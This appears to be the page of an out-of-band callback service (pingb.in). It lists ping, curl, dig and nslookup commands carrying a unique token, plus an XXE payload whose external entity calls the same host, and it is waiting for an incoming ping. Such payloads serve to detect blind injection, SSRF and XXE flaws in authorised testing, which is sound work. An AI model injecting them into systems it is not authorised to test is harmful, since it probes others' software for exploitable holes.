$ ping -c1 -p 0092cea628ca168b50a76055edefed00 pingb.in
 
$ curl pingb.in/p/92cea628ca168b50a76055edefed
 
$ dig 92cea628ca168b50a76055edefed @pingb.in
 
$ dig 92cea628ca168b50a76055edefed.ns.pingb.in
 
C:\> nslookup 92cea628ca168b50a76055edefed pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/92cea628ca168b50a76055edefed">]>
    <foo>&xxe;</foo>
 
Waiting for ping...